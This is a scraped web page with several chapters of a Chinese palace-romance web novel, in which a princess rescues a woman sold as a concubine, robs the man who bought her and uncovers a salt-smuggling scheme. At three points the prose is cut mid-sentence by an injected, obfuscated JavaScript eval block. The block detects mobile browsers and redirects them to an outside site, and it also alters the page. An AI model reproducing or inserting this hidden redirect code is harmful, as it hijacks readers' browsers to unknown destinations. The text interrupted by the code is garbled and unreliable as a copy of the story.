“若公主真闲得慌,臣不介意花些时间亲自将您送回去。” “那见人受难,总不能置之不理。”朝颜深知此事就算连瑕报官也不会得到妥善解决,所以才想自己帮她一把。 男子与女子的思想总归不同,看事情便也有不一样的见解。 回忆老妇人所言,娄卿旻猜出了一二。以为女子在家中白吃白喝婆家看不下去才让她多做事回报,便坦然道:“她既未尽到孝道,换另一种方式帮家里一把也未尝不可。” “大人也这般想?” “无嗣便是不孝?” 每次提到无嗣,朝颜便如同变了一个人似得,语气咄咄逼人,面带愠怒,此情此景,娄卿旻见了也是一头雾水。 “那不是女子的本分么?”他道。 本分,本分,孕育子嗣明明是女子的权利,可选择生或不生,但非要说其为本分,不生便是不孝,生不出便是未尽到本分,最后让女子落得万人嫌的名声。 这,便是言语的力量,是缚在女子身上的枷锁囚笼,让女子终其一生围着“子嗣”二字转,无处可逃无处可躲。 事到如今,朝颜算是理解何为男女有别,男女不仅要保持距离,更重要的是男女之间体态不一,思想各异。 既如此,朝颜也不想与他在此争辩,压下心中的愤愤不满,不再抬眼看他,语气疏离:“大人,恕不奉陪了,告辞!” 她还要想办法救连瑕,才不在此与他争个高低对错,不过是鸡同鸭讲白费口舌。 谁知临走前,娄卿旻忽然叫住她:“殿下,您可知晓何为君子七慎?日后做事定要谨慎再谨慎,方能避免些差错。” 希望她能听明白他的言外之意,既已离宫出门在外,便要收敛锋芒,不要事事都替别人出头,容易祸水东引。 不过朝颜还在生着闷气,根本顾不上深究他话里的深意。偏要回头呛他一句:“多谢大人提醒,我非君子,不想过于忧虑。” 她只想凭着一腔热血,做些力所能及之事,哪怕,哪怕只能帮到别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405596|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一点也是好的。 娄卿旻久居朝堂,惯会察言观色,听朝颜那语气便知她没把自己所言放在心上,他一向不是乐善好施之人,肯提醒一次便是他最大的仁慈,便也带着亲卫离开了。 娄卿旻行至半路,脑海中忽然闪着朝颜不达目的不罢休的模样,如此幼稚孩童心性,让他不禁回忆起初见她与太子时的情景。 …… 那是嘉和十二年季秋,临近国君朝穆的四十岁寿宴,太子朝饶携其胞妹出宫狩猎,美其名曰为王上准备厚礼实则是出宫游玩。庞大的沿着东边一路前进,跋山涉水,终于抵达饲养万物的百草林。 王室威严,礼法正兴,狩猎是较为重要的活动,故而特意在百草林设有几圈苑囿禁地,以供君臣玩乐。太子朝饶是储君不二人选,自六岁起便开始修习君子六艺,其中射术弓法练就得炉火纯青。 蔚蓝天际,炎炎夏日,几队人马在禁囿中穿梭。 为首的朝饶正坐在马上,眼神紧紧盯着前方,方才跟丢了的那只灰色野兔重新闯入视野,在草丛中窜来窜去似在挑衅,见状,朝饶迅速举起弓弩,眯起双眼瞄准了它。 准备射箭时,林中忽然出现一道鬼祟身影,下意识告诉他对方是个人。朝饶拉弓的手停了下来,抬眼望去却没看到任何人,而后听见一声凄惨喊叫,由底处传来。 侍卫们见此景,立马打起精神保护太子和公主。 朝颜本跟在朝饶身后,听到惨叫便开始好奇了。故而第一个带头寻觅出声之地,宫人与太子紧随其后。朝颜走到一处大坑前,低头便见到一个衣衫褴褛的少年掉入狩猎所设的陷阱中。 浅色麻布衣裳被血浸透,入目便是触目惊心的红,面上沾着泥土混着血丝甚是恐怖,朝颜被他这幅惨状吓了一跳,急忙捂上双眼。 “何人?”朝饶开口便是清脆的少年音,不怒自威。 泥坑底的娄卿旻被人捞上来时,瞳孔失焦,嘴唇颤抖着,如同见鬼受惊般,还未回神,故而一言不发地看着面前衣着富贵的人马。 看到少男少女俊美的面貌,锦绣华服,他便知道自己要得救了。 那时的朝颜七岁,身穿一袭藕粉色直琚裙,面颊娇嫩,尊贵十足,瞥一眼前高自己一头的少年,软糯糯一句:“兄长,他看起来很不好,救救他吧。” 自此朝饶便将他带回宫中,留在身边做伴读,一晃就是八年。 初见他二人那日他正被山匪追赶,命悬一线,大气都不敢喘,哪里敢开口解释,后来娄卿旻才在太子口中得知,是朝颜抓住不那只野兔,倔脾气上来了硬要追上它,所以众人换了条路狩猎,这才恰好救下逃命的他。 如今想想,其中或许真有几分命运使然的缘分。 十多年过去,原本遍体鳞伤的逃难儿成长为人尽皆知的贤臣,太子也变为赫赫有名的战神。唯有朝颜还如幼时一般,孩童心性,一生气便喜欢顶撞人,随心而为,不考虑后果,谁都不放在眼里,包括太子和国君。 江山易改本性难移,但总如此稚气也不是长久之计。 娄卿旻盯着漆黑一片的前路,微微一叹,罢了,公主毕竟还未及笄,待经历更多的事情后,定会成长。 彼时的娄卿旻还不知眼下他看不上的小公主,会在未来某天脱胎换骨,成为一心为国为民、克己奉公的大国公主。 亦不知,孑然一身的他会为她的蜕变而心痛不已,悔不当初。 11. 燕国之行(三) 夜阑人静,暗夜覆盖了整座城邑,唯余城东街头一家酒肆还燃着灯火。乔装打扮的队伍十分有序地进了酒肆,为首的娄卿旻抬腿上了隐匿在锦布后的二层阁楼。 少年端着茶具恭候多时,一见到台梯上的人影便毕恭毕敬弯腰行礼,“大人,您来了。”少年一袭驼色直袍窄袖紧贴在身上,模样精明能干。 娄卿旻轻嗯一声,进了二楼厢房。 屋内燃着几支火烛,随着窗棂透进来的风反复摇曳,将原本幽暗的屋子衬得多了几分人气。往里走便见到中央小榻前摆着的那张矩形彩漆方案,案上放着一摞竹简几张皮革,一旁还有笔墨砚台。 最内里还有一张朴素简练的漆木雕花床。 除此之外,再无其他。 明眼人一看便知是文人墨客的居所,但酒肆二楼从不对外人开放,连娄卿旻本人都鲜少来此。 暮商接过娄卿旻褪下的外袍放好,再抬头便见到男人已跪坐在案边,手上端着茶水放在鼻尖轻轻嗅过,微抿了一口,动作温和,姿态儒雅。 而后娄卿旻抬头,见状暮商暮均二人相视一眼,纷纷走上前等自家大人发话。 茶杯冉起一层薄气,舌尖传来淡淡的苦涩,娄卿旻回味片刻,眼神看向暮均,问道:“近日可有收获?” “回大人。收到您手信后属下便一直跟着王堃(kun),见他每日卯时一刻便从自家府上赶往城东盐场,监督宫人们做事,待到酉时日落后便回府了,日日如此没有异样。” 话毕,室内安静了许久。 “大人为何不直接将运送粗盐的商人抓来审一审?”暮均一向性子直率,做事风风火火,很疑惑自家大人为何让自己暗地跟踪王堃。 闻言娄卿旻放下茶杯,淡淡接话,“无凭无据抓人,打草惊蛇不说,破坏两国间的信任便得不偿失了。” 既然燕国有人敢在产量上造假,那便是笃定了华纪会念在两国交情的份上不深究,他们以为古往今来徇私贪赃之事甚多,便觉着没人会揪着此等小事不放。 但娄卿旻不一样。 在燕国设立盐官是他提出的,从一开始便由他负责监察,几年如一日从未出过差错,况且早不出晚不出,为何非挑在华纪对抗山匪的节骨眼上缺斤短两,他必须查清楚。 他一向不喜冤枉人,故而对暮均道:“凡事讲究证据,若背后人真利欲熏心,势必还会再犯,你继续盯着,总有一日他会露出破绽。” “燕国国君以仁政治国,对内抗外都是一副仁慈明君的性子,久而久之朝臣定会做些暗度陈仓,以权谋私之事。若真抓住背后之人,正好趁此机会帮燕国清理朝政,一箭双雕。” 话毕,一旁始终未开口的暮商明了,紧接着便夸赞他:“大人果然厉害!” 娄卿旻没理会暮商虚溜拍马那一套,忆起方才街上撞见的那几位没说话的婆子,衣着打扮明显是富贵人家的奴仆,头上还簪着花。他便猜到是接亲婆子,看向暮均问:“东城近日可有人在准备嫁娶之事?” 说到八卦之事,暮均话便多了起来。 “还是泉城那位公子爷,又惦记上一位女子,只见了一面就非要把人弄进府上,听说这次还是位嫁过人的。”暮均说得绘声绘色,有些愤恨不满:“依属下看,这姜公子就是仗着他父亲是泉城城主,在东城撑起了大王,整日沉迷酒色无法无天,如今居然都惦记上别人家妻子,实在过分!” “街坊里还有传言,说他十五岁时府上便已经姬妾成群了。” 话音落,他看向娄卿旻,“反观大人您,都加冠之年了,府里还空空荡荡的,莫说姬妾,连个侍女都见不……” 调侃话语说到一半,暮均忽然停住,三两步走到娄卿旻面前弯腰,意味深长地说:“大人,属下突然想起一件事,与王堃、姜宣同有关。” 这两个不搭边的名字从他口中道出,立刻换来娄卿旻一个悉听尊便的表情,仿佛在问他二人之间八竿子打不着,能有什么事。 “说来也奇怪,属下一连两年见他二人府上在除夕之日互相赠礼了。前些日子从贵族们那听说,去岁姜宣同送了王堃一对成色极好的双龙首形玉璜。但他们一个住在东城一个家在西城,平日里并无交集,为何近两年突然开始送礼了?” 暮均猜测道:“您说,他们会不会在背地里做了什么见不得人的勾当?” 所言不无道理。 众人印象中,王堃属于恪尽职守的顾家大丈夫,而姜宣同是流连花丛中的浪荡子弟,两人性子天差地别,居所也相距甚远,为何突然有了联系。 其中必然有什么密谋暗事。 思及此娄卿旻面色也严肃起来,琉璃般的棕眸半阖着,顺着烛火微光,视线落在暮均腰间所悬的玉饰上。 众所周知,玉乃华贵之物,寻个模样成色好的十分难得,故而只有大国间交聘,贵族亲眷互礼时,才会送玉。 暮均有所怀疑也正常,若非他们关系不一般,姜宣同哪里舍得送玉器。 本以为姜宣同只是好色,如今看来好美色只是其一,或许还贪财。回忆起那几位接亲婆看朝颜的眼神,娄卿旻忽然提起狼毫在皮革上写了几句话,而后将东西折起递给暮商,道:“你去寻公主,将这封信带给她。” 昏暗中,暮商与他相视一眼,一下便猜到他的心思。 而暮均规规矩矩在一旁站着,在听到自家大人口中道出“公主”二字时,愣了一下。还没反应过来他说的是哪位公主,暮商便领命自行离开了,只留他在原地久久震惊不得回神。 暮均想开口问,但见到娄卿旻面上的疲态,与他本人那乏味古板的性子,暮均便留他一人休憩,自己悄悄退到楼下,向其他亲卫探听状况。众亲卫你一言我一语,场面一度很热闹,暮均听完恍然大悟。 难怪大人来信与他说迟些日子来燕国,原来是与朝颜公主产生了纠葛,听完众人描述的二人对峙场面,暮均心中对自家大人的敬佩又多了一层。 先前在皇城他便听过朝颜公主是位身姿绰约,美艳绝伦的女子,说是皇城最美不为过,况且还有太子在背后撑腰,宫里奴仆没人敢对她不敬。放眼整个华纪,除去王上王后,也就自家大人敢如此待她,又是说教又是兵戎相见。 况且,美色在前自家大人不为所动,实属难得。 就是公主可惜了,娇滴滴的美人却要嫁到好武力的普桑去,还是嫁给那位对朝政一窍不通的太子,太过窝囊。更何况他的生母王后心机深沉不是善茬,公主嫁过去的日子怕是不太好过。 但自古王室不养闲人,公主生来也有公主应尽的责任。 一切全是命,半点不由人。 * 因着连瑕待嫁之事未解决,朝颜一行人回到客舍却整夜无眠。 羽堇夜半时分出了客舍,未曾半路撞见连瑕夫君带着一女子去了城东角落里一家隐密小屋,他默不作声地在窗口探听许久,得到一个令人咂舌的消息。 原来连瑕嫁娶之事是被夫君与婆婆联手城东那位公子爷一齐设计的。他连忙回客舍,将此事禀告朝颜。 起因是连瑕夫君在外偷偷养了妾室,已经怀有五个月身孕,婆婆因为不孕之事,不想要连瑕这个儿媳,但又舍不得放她走,便提前给城东家那位好色公子来信说自家儿媳多么貌美,有意让二人喜结连理。 随即设计二人在商铺碰面,果不其然那姜公子一眼便看上连瑕,为此还特意给了连瑕婆家一笔钱,买卖女子一般。 连瑕不知其中秘密,自是不甘嫁过去,婆婆心思歹毒,直接将责任推到连瑕身上,这才有了那日在街上打骂连瑕狐媚之事,看热闹那群人也信以为真。连瑕落了不好的名声,也无人施救。 前世朝颜便知晓流言蜚语的厉害,但连瑕已经尽职尽责照顾婆婆数年,只因无嗣便不配落得好结局,实乃不公。 朝颜捋清楚一切,愈发愤恨,“从未见过如此厚颜无耻、自私自利之人,明明一封休书便可放人走,非要联手外人榨干连瑕身上的价值才肯罢休。” 槐夏在一旁接话,“殿下,连瑕这遭遇属实让人糟心,这下怎么办才好?” “待我想想办法,定要救她出来。” 这边话毕,身侧羽堇忽然从怀中掏出一卷皮革书信。是半路上少傅大人身侧那名暗卫交给他的,外城不大酒肆客舍也就五家,暗卫找到他们很容易。 思罢他将信双手奉到朝颜面前道:“这是少傅大人身边那个亲卫送来的。” 朝颜疑惑接过细想了下,时常在娄卿旻身侧的亲卫,应是暮商。但是二人方才不欢而散,为何娄卿旻突然来信。 朝颜带着疑惑缓缓拆开皮革,逐字逐句看完后,忽然心血来潮想了个一举两得的法子。而后与槐夏羽堇商议,趁着月色又找到连瑕被关押的黑屋。 * 天色大亮,连瑕已经被婆婆安排穿戴好喜服,蒙了红纱,端坐在正屋木榻上不发一言,连瑕夫君今日未曾现身,婆婆以为连瑕认命不反抗了,开开心心送她出了门。 连瑕属于买来的妾,地位极其低下,故而没有八抬大轿,只派了四个接亲婆子驱车赶来接她回府。 他们特意走了人烟稀少的小路,很快到达姜氏商铺门口,向前走了几里地,又看见不远处屹立的那座宏壮辉煌的府邸,牌匾上写着“博文约礼”四个大字,妇人们搀着一身桃红的连瑕从后门入了府邸。 没有宾客酒宴,没有锣鼓喧嚣,就那样安安静静进了后院内室,这便是妾的待遇,也意味着女人从此成了一只圈养在笼中的雏鸟,一辈子逃不出去。 室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405597|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内被简略布置了一番,桌案上放着枣生桂子,青铜酒器,两根红烛,床榻边有几段红绸,连衾被都是大红色,颇有新婚之喜的气氛。 榻上女人正襟危坐,自行掀开了头纱。盖头下是一双似醉非醉的桃花眼,细眉如烟,白皙肌肤透着淡淡的粉,青丝半披,如此出尘脱俗之相,正是朝颜。 她环顾四周,见到熟悉的少年躲在暗处,心渐渐稳了下来。 羽堇早已先行一步抵达,她让槐夏引开连瑕婆婆,趁机与连瑕换了衣物,自己扮做她入了姜府。好在一路顺利未出差错,否则待连瑕嫁入姜府,她想救都救不了。 屋外一阵嘈杂脚步声,伴随着年轻男子愉悦的叫和声,其后貌似还跟着几位婆子,有说有笑,若朝颜没猜错,婆子们应是来此教导坐帐礼仪的。 她不是连瑕,得想个法子把那些不相干的人支走,留下那浪荡子弟一人还好对付些。 正思索着,几人推门而入。 朝颜连忙落下面纱盖住面颊,顺着红纱底侧看去,一双玄色高底履一步步向前,身上红色袍服随之晃了几下,停在朝颜两步开外,还未开口,朝颜便先他一步道: “公子能否让她们先行离开?您也知道妾的处境困顿,实在是羞于见人。” 连瑕未曾与姜宣同说过话,故而他也没怀疑声音不对。不过听完朝颜所言似是听到什么笑话,语气漫不经心:“羞什么?以后你与她们都是一家人了,难免要打交道。” 见此人如此难答应,朝颜直接用她惯用的招数,语气哽咽,装作流泪,哭哭啼啼地:“妾真的害怕,妾今日只想跟大人单独在一处。” 美人声音软糯,那一哭直接哭到姜宣同心坎儿去了,一连说了三个好来安慰她,随即对婆子们道:“你们快些下去,今日不必在乎那些繁琐礼节了。” 其中一个婆子还想劝说,被姜宣同一个瞪眼吓退,几人匆匆出去闭了门。 听到闭门声与越走越远的脚步声,朝颜安下心。心道此人真是别扭,强娶别人妻子之事都干出来了,偏偏还不忘给人一个合乎礼节的纳妾仪式。 室内静谧,只剩他二人,姜宣同被女子一撩拨,心里早就迫不及待了,直直跑过去掀开她的盖头。 盖头掉落那一瞬,姜宣同俯身垂眸看向朝颜,先是被她那张脸惊艳一愣,而后退了一步,下意识追问:“你是谁?连瑕呢?” “连瑕离开了,今日由我代她。” 朝颜带着几分调侃冷静对答,红唇缓缓勾起,对上眼前模样俊秀的男人,浓眉上扬,凤眼微挑,鼻梁甚至比她的更高挺。心道长得人模狗样,私下净干龌龊之事,真是不能以貌取人。 而姜宣同被她的一举一动魅惑得移不开眼,似乎很惊喜女子的言行。 先前娶进门的女子,不是哭哭啼啼便是形同死灰,半点乐趣都没有,眼前人出现带着几分强势,与那个温婉娇弱的连瑕大不相同,有几分引诱人心的俏皮,让他想驯服人的兴致瞬间满到极点,就快要溢出来。 想到先前婆子说城内来了个美艳女子,是外城之人,姜宣同便全部了然,也不再去想失去连瑕的忧伤,因为有人替她,甚至看起来更有挑战性。 男子总是习惯以训鹰的姿态做事或是挑选女人,也享受将高高在上的女子拉入泥潭占为己有的满足感。 姜宣同心急如焚,眉眼笑得恍如开了花,“既如此,美人,咱们别多说话了,春宵一刻值千金,快些和夫君我入洞房吧!” 说罢男人双手环上朝颜纤细的腰身,朝颜向后弯腰躲过,而后抬腿蹬了男人□□一脚,一个俯身便从姜宣同手臂下逃了出去,动作十分灵活,而姜宣同已经捂着□□弯下身子痛苦嚎叫。 属于男人的尊严被冒犯,他恼羞成怒指着朝颜,刚准备开口,身后冷不丁出现一道冰凉的嗓音:“把手拿开!” 姜宣同还没反应过来便感觉到脖颈前多了一把利刃。 他吓了一跳,一动不敢动。 身后说话之人便是羽堇,他早早便埋伏在府上,就是等这一刻。 姜宣同心眼很多,惯会见机行事,圆溜的黑瞳盯着前方的朝颜,语气降了一个度,带着几分恳求,“美人你这是做什么?怎么出嫁还带着外人啊?” “油嘴滑舌,你怕是不想活了?”朝颜故意吓唬他,“他这把剑已御敌无数,你如此贫嘴,怕不是想成为下一个祭剑人?” 性命受威胁,姜宣同哪里顾得上那么多,直接喊出声:“别别别,姑奶奶,我不娶了,我放你们走可好?你让他把这剑拿远些,小心手滑伤到我,我可是城主之子,杀了我你们也跑不掉。” 朝颜不在意他是谁家的公子,启唇反驳他:“谁说要杀你了?” “况且,什么叫作你放我们走?眼下你还能有别的选择?” 12. 燕国之行(四) 四下仆从都被姜宣同撤离,此刻屋内只有他三人,他已是案板上待宰的鱼肉,除了任人摆布确实没有第二选择。尽管他无比后悔自己方才让人全部离开的决定,眼下全然被眼前女人拿捏了,为时已晚。 他是个俗人,好美色好财,更惜命。 先前从未在男女之事上吃瘪,如今刀架在脖子上,才觉得沉迷美色不如好好活着痛快,何况他还有个亲爹远在百里之外未敬孝道,更是不能以这种方式死,若传出去,颜面尽失啊! 见朝颜二人仍不肯松口,他向前一步舔着脸道:“美人你想要什么,金银珠宝,还是玉器首饰,我这府上应有尽有!你随便选随便拿,只要你们肯放过我。” 话毕室内静默了一瞬,三人的呼吸声此起彼伏。 见姜宣同如此有诚意,朝颜示意羽堇将剑放下,而后看向一身喜服的男人,缓缓开口:“既如此,把你府上所有贪赃得来的不义之财全部交出。” 谁知话音刚落,姜宣同便反驳:“我没有贪赃,我都没做官,只是个整日吃喝玩乐的公子,如何做贪污受贿之事?更何况我对府中琐事不甚在意,连经营酒肆都是手底下的人在做,根本没机会获取什么不义之财。” 他对自己还算有自知之明。 但他话中几分真几分假朝颜早就心知肚明,她笑了笑,移开眼不去看他,言语带着惋惜:“唉,半点实话都不肯说,看来姜公子还是想做刀下亡魂。” 朝颜摆出一副破罐破摔的模样,唤一声“羽堇!”。 身侧站着的少年应了一声便抬剑,横向男人脖子的剑又重了几分,作势要杀了他。 一系列动作快得姜宣同都未反应过来,再向后退时,便察觉到脖颈处一丝刺痛,他抬手摸过,触到一缕红,双眸瞪得比铜铃还大。场面难控,他见朝颜二人是要动真格,直接噗通一声跪坐在地,朝着他们呼喊: “等等,等等!” “我有金银,你们等我,我这就去拿。”话音哆哆嗦嗦,仿佛刚刚嘴硬的人不是他。 羽堇放他自由后,姜宣同便小跑到寝室内里,俯身站在方柜前,打开最大的那层取出里面的木匣,时不时看朝颜这边窥探几眼,模样鬼鬼祟祟,藏头露尾,属实上不了台面。 朝颜见状眉睫微蹙,抚着宽大的嫁衣衣袖,从中取出一把泛着银光的匕首,一边拿在手中比划着走向他,一边淡然开口:“如此鬼祟模样,定还藏着余银,看来我这把匕首今日也可见见血。” “姜公子属实好运气。” 她一步步朝姜宣同走去,那人转过身抱住柜子想往上爬,奈何身子半点不灵活,他索性放弃,又开始痛心疾首,“我有这偌大的府邸要养,下人们每月都要领月俸,我……”想留一点。 眼见朝颜愈来愈近,他扭头把木匣放着地上,转身又道:“行行行,我这就给你全拿出来。” 随即又打开另外一个方柜。 此刻开锁的姜宣同手脚一并颤抖着,心中叫苦连天,辛酸泪快喷涌而出。早知他辛苦得来的钱财今日会落在别人手中,他便全部锁进府库。但他这些年流连花丛中,也未曾遇到这样棘手的女子,还带个凶神恶煞的冷面阎王做帮手。 朝颜二人就在身后不远处盯着他。 这时,屋外传来几道稀稀落落的脚步声,下人们路过没听到屋内有动静,都很出意料,故特意过来看一看。 谁知正是脚步声给了姜宣同希望,听见有动静便两眼放光,也顾不上身后二人的威胁,直接快速跑到窗棂前,大声朝外喊道:“来人,救命啊!” 他故意将木匣甩到地上,制造出叮呤咣啷的声音。 屋外人听到声音后停了一瞬,紧接着快步跑到窗边,急促地拍打着木门询问:“公子,出什么事了?您有何吩咐?” 还好在人敲门之前,羽堇以迅雷不及掩耳之势飞速跑到门口拦着,不然他们所做的一切都泡汤了。 下人们推不开门,又道:“公子!公子!” 姜宣同还想再说什么,但朝颜已经紧紧制住他的手,将匕首架在他脖子上,明眸染着怒火,眼神警告他别乱说话,姜宣同原本带着欣喜的眸子低垂,撇了撇嘴角,像泄了气的皮球,希望破灭。 到底不敢硬碰硬,只灰溜溜回了一句:“你下去吧,我没事。” 下人还未离开,朝颜便紧接着替他圆场:“无事的,公子只是在跟我闹闺房之乐,你们莫要看热闹了,快些下去吧。” 一句“闺房之乐”让姜宣同面色变了变,他还在思考如此女子为何会说出那四个字,明明看着年纪尚小,莫不是已经人事了? 然而疑惑只在片刻,命都在别人手里,他仍紧张着,顾不上其他。朝颜听外面的人远离后,解开他被禁锢的手,姜宣同老老实实将私藏金银都交了出来。 他瘫坐在地认命道:“好了,钱都给你们,再也没有分毫了,你们何时能放我走?” 原本是想放过他,但朝颜忽然忆起连瑕那日与她所言,与娄卿旻来信,她便改了主意,直截了当地问他:“听说,公子府上有粗盐?”她说着话,手中匕首随之晃着。 不料“粗盐”二字一出口,姜宣同便下意识后退,扯开三人稍许距离。 他不加掩饰的目光十分警惕地在二人身上来回打转,也不似先前那样愚钝,“你们到底是何人?” 之前接亲婆子禀告说来了位外城女子,他便有所怀疑。自古以来商人车队都是男子,凭空冒出一颇有姿色的女子,还乔装打扮为男,又衣着富贵,身份定是不一般,如今再次验证了他先前的猜测。 此刻又说到粗盐,他不得不竖起戒备心,防着眼前人。毕竟私自藏盐可是重罪,原本他这来盐方式便有所不同,他亦是心虚。 朝颜早就猜到姜宣同会是这样的反应,前世今生加起来,朝颜见过不少人,也会察言观色,故而姜宣同眼神中的害怕与警惕在她眼前全部暴露无遗。 她灵机一动,想到白日里吃过的食物,便编了个理由,压低声音与他解释: “实不相瞒,家父是个屠夫,除了杀猪宰羊,也做着腌制咸肉的买卖,我之所以来此地,也是因为我家中缺盐,以致咸肉买卖快做不下去了,少了份来财的买卖,日子也大不如前。但我打小便吃喝不愁,穿衣比普通百姓富贵些,自是不想受半点委屈,买卖不行我便自告奋勇想解决办法,知道燕国产盐,这不就来这儿想着购些粗盐回去腌肉嘛。” 她的话语诚心实意,表情真挚,语气中也带着小女孩家无意的示弱和娇嗔。 姜宣同本就好美色,算是个心地善良之人,听完朝颜这席话,心中有几分动容,但脑中还是紧绷着一根防线,直勾勾盯着朝颜,想在她面上看出破绽。 但他不知道山外有山,人外有人,朝颜伪装的功夫比他强得不是一星半点,以至于他什么都看不出来。 朝颜又补了一句,“我也是个讲理之人,不会抢你的。若公子有,我可花大价钱购入。” 话音刚落,便看到姜宣同看向他二人的眼神中防备更甚,一想便知他不信是因为方才要挟他性命那一出。他迟迟不接话,面上也没什么大表情,似乎在等。 朝颜一眼识破他的试探,解释道:“我生性好管闲事,同为女子见不得女子受难,所以闹出方才那一出。我就是想替连瑕对你略施小惩,这金银我不会收,但也不会还给你。” “之后我会将它们散播给难民,听闻姜公子从前总强娶良家女子,做了不少恶事,我这也算替你行善积德了。” 姜宣同听完朝颜的话嘴角没忍住抽了几下,女子这番话一本正经,敢情她抢他的东西,自己还应该感谢她了? 他对朝颜的身世半信半疑,又道:“我还有一事不明。为何屠夫能生出你这样细皮嫩肉的女子?”甚至还为你派如此厉害的亲卫,实在可疑。 说得越多破绽便暴露得越快。朝颜不想再解释,但还是硬着头皮激他:“我骗你与我也没有任何好处,我也是想替家人分忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405598|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你只需说你府上有还是没有,若没有我便找其他人做这桩生意。” 说罢她示意羽堇,假装要离开。 果不其然,身为半个商人的姜宣同一听到手的买卖要跑了,也顾不上思虑太多,连忙叫住她,“粗盐我是有,但为数不多。” “想必你也知道,华纪与燕国的协议,私自贩卖粗盐是死罪,按律当斩……” 言罢,朝颜抱起双臂,姿态散漫,索性伪装成大款,含水的桃花眼淡淡望着他,道:“不论多少,我们都要。我就住在城中客舍,过几日你可以选个合适的地方传信于我,我们私下交易,价格你定,我有得是银钱,但是你也不能太过分。” 姜宣同一副奸商模样盯着他二人,心里不知在盘算什么。 许久才迟迟道了一句“好”。 三人就这样暂时达成了盟友关系,别人的地盘不能久留,怕突生变故,朝颜便让羽堇打晕姜宣同,自己褪下婚服换上寻常衣物,和羽堇二人悄悄溜出门,好在先前将后院的下人们都赶到前院,二人十分顺利地逃离府邸。 半途中,羽堇问她为何忽然提到粗盐,这事朝颜未曾与他透露过的,所以方才他也疑惑,但更是让人始料未及的是,姜宣同居然真的能拿出盐。 天下无人不知那东西是贵重物品,产量稀少,一直是由官府把控晒盐运送。寻常人家根本分不得几两,就算是官家子弟所得也有固定的量,怎会有多余的拿来售卖? 除非,这盐的来源…… 羽堇神色一变,想到那封信,总觉得此事或许与少傅大人有关。 果不其然,朝颜下一刻便摸着木匣道出:“那日少傅来信便是提醒我,姜宣同不止好色,还酷爱敛财,私下或许私藏了盐。本来我只是试探,奈何他直接露出马脚原形毕露,我想来想去,他府旁边那家酒肆,据连瑕说才经营了三年,生意再好也没办法盈利如此多的金银珠宝,背后帮他敛财的或许就是这盐。” “只是不知这盐他是从何处得来的,如今我故意与他谈生意,且看他下一步动作便知晓一切了。” 羽堇听明白所有事,想起朝颜方才说要将钱财都分给难民,但眼下燕国上下其乐融融,难民几乎没有,他端着两个木匣问:“这些东西要如何处理?” 朝颜思虑片刻道:“暂时交给娄卿旻吧。” 让他一男子帮忙保管总比在几个女子身上要安全,经过先前路遇山匪之事,她半点财都不愿留在身上,不想招祸。 “不过眼下还不知他在哪儿,待你下次见到暮商问出所居何处,我要亲自走一趟,正好愁找不到地方邀功。” 羽堇沉默片刻才应了一声“好。” 二人一前一后走着,朝颜陷入沉思。 娄卿旻来燕国定是公务在身,她猜或许与盐有关。更何况他那日特意来信提醒她,便是想利用她帮他做些事,如今事情已经有眉目,她讨些好处不过分吧? “殿下真的要赴约?”羽堇所指是与姜宣同做交易之事。 朝颜看破羽堇的担忧,反而一副坦荡荡模样,背有靠山丝毫不怯场,笑得开怀:“怕什么,不是有少傅大人么?大不了,让他派人去,我们正好动身去内城。” 背后有人撑腰,不用白不用。 姜府。 姜宣同醒来已是午膳过后,早晨经历的那些事恍如经历了一场噩梦,他连滚带爬地跑到方柜前,才发现一切都不是梦,府中藏匿的金银全部被那二人洗劫而空。 失了财物保障,他便寝食难安一日都坐不住,过些时日会有一大批玉石进燕国,他还打算买些宝贝收藏起来呢,如今分文没有他如何买?想到这他便让人夜里快马加鞭传信去王堃府上。 至于朝颜所说交易之事,他才不会考虑,他明日就让官差把那二人抓起来,届时再把连瑕一并抓回来好好惩罚,更要让那貌美女子求着他放过她,只是想想,那画面都很惬意。 殊不知他自作聪明计划的一切,都被另一人看在眼中。 13. 燕国之行(五) 暮均已经在王堃府前埋伏了数日,风吹日晒,昼夜不休,终于在这天夜里撞见一个可疑人物出入府邸,悄悄跟过去才发现此人居然回了姜宣同府上。他大喜,快马加鞭往回自家酒肆。 寂静深夜,屋内人未眠。暮均敲门后进去将此事禀告给娄卿旻,“大人,果然不出您所料,那姜宣同已经有动作了。” 娄卿旻了然。他前几日传信与朝颜提醒了几句,本以为能做下私自藏盐之事之人是个聪明有脑子的,不想才不到两日,二人便忍不住狼狈为奸,真是人心不足蛇吞象。 他假扮商人夜里入城,期间忍着不曾露面,便是不想打草惊蛇,不想二人比他更按奈不住。若他没猜错,朝颜定是做出什么激姜宣同之事,才会让姜宣同这么快便露出马脚。 